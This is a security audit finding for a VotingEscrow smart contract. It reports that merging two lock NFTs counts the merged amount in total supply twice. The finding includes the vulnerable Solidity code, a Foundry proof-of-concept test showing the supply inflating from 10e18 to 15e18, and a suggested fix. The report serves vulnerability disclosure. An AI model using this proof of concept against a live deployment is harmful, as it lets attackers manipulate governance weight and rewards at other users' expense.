Breezy Chrome Baboon

High

# The total supply of VotingEscrow contract can be inflated

## Summary
The total supply of VotingEscrow contract can be inflated.

## Vulnerability Detail
When a user decides to merge two tokens, for example, token1 into token2, the locked amount in token1 will be transferred to the locked amount in token2, and the longest lock duration will be set for token2, as token1 will be burned.

```solidity
uint value0 = uint(int256(_locked0.amount));
uint end = _locked0.end >= _locked1.end ? _locked0.end : _locked1.end;

locked[_from] = LockedBalance(0, 0);
_checkpoint(_from, _locked0, LockedBalance(0, 0));
_burn(_from);
_deposit_for(_to, value0, end, _locked1, DepositType.MERGE_TYPE);
```

The `_deposit_for` function is used for transferring the locked amount of token1, where the actual problem lies. Before transferring the locked amount of token1, the total supply is increased by the locked amount of token1.

```solidity
    function _deposit_for(
        uint _tokenId,
        uint _value, // value0 = _locked0.amount
        uint unlock_time,
        LockedBalance memory locked_balance,
        DepositType deposit_type
    ) internal {
        LockedBalance memory _locked = locked_balance;
        uint supply_before = supply;

        supply = supply_before + _value;

        //......
    }
```

This will lead to inflation of the supply in the `VotingEscrow` contract, and the sum of the balances of all NFTs will not be equal to the total supply. Everyone who merges two tokens can easily add more tokens in supply.

## Impact
Manipulating the total supply of the `VotingEscrow` contract.

## Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1209

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L787

## Tool used

Manual Review

## PoC
Paste the test into `VotingEscrow.t.sol`

```solidity
    function testMergeForInflation() public {
        //forge test -vvvv --match-test testMergeForInflation
        int amount;
        uint duration;

        // Owner transfer 5e18 to Bob.
        address bob = vm.addr(77777);
        flowDaiPair.transfer(address(bob), 5 * TOKEN_1);

        // Owner create lock amount: 5e18 & duration: 1 week
        flowDaiPair.approve(address(escrow), 5 * TOKEN_1);
        uint256 lockDuration = 7 * 24 * 3600; // 1 week
        escrow.create_lock(5 * TOKEN_1, lockDuration);

        // Asserts for owner lock.
        (amount, duration) = escrow.locked(1);
        assertEq(amount, 5e18);
        assertEq(duration, lockDuration);
        assertEq(escrow.ownerOf(1), address(owner));
        assertEq(escrow.balanceOf(address(owner)), 1);

        vm.stopPrank();

        vm.startPrank(bob);
        // Bob create lock amount: 5e18 & duration: 1 week
        flowDaiPair.approve(address(escrow), 5 * TOKEN_1);
        escrow.create_lock(5 * TOKEN_1, lockDuration);

        vm.stopPrank();

        // Asserts for bob lock.
        (amount, duration) = escrow.locked(2);
        assertEq(amount, 5e18);
        assertEq(duration, lockDuration);
        assertEq(escrow.ownerOf(2), address(bob));
        assertEq(escrow.balanceOf(address(bob)), 1);

        // Assert for total supply: 5e18 + 5e18 = 10e18
        assertEq(escrow.supply(), 10e18);

        // Bob approve tokenId: 2 to owner
        vm.startPrank(bob);
        escrow.approve(address(owner), 2);
        vm.stopPrank();

        // Owner merge tokenId:1 and tokenId:2
        escrow.merge(1, 2);

        (amount, duration) = escrow.locked(1);
        assertEq(amount, 0);
        assertEq(duration, 0);
        assertEq(escrow.ownerOf(1), address(0));
        assertEq(escrow.balanceOf(address(owner)), 0);
        assertEq(escrow.balanceOf(address(bob)), 1);

        // Assert for total supply: 15e18
        assertEq(escrow.supply(), 15e18);
    }
```

## Recommendation
Do not add the locked amount of token1 to the supply during the merge, or use the same technique as in the split function: first remove the locked amount of token1 from the supply, and then add it.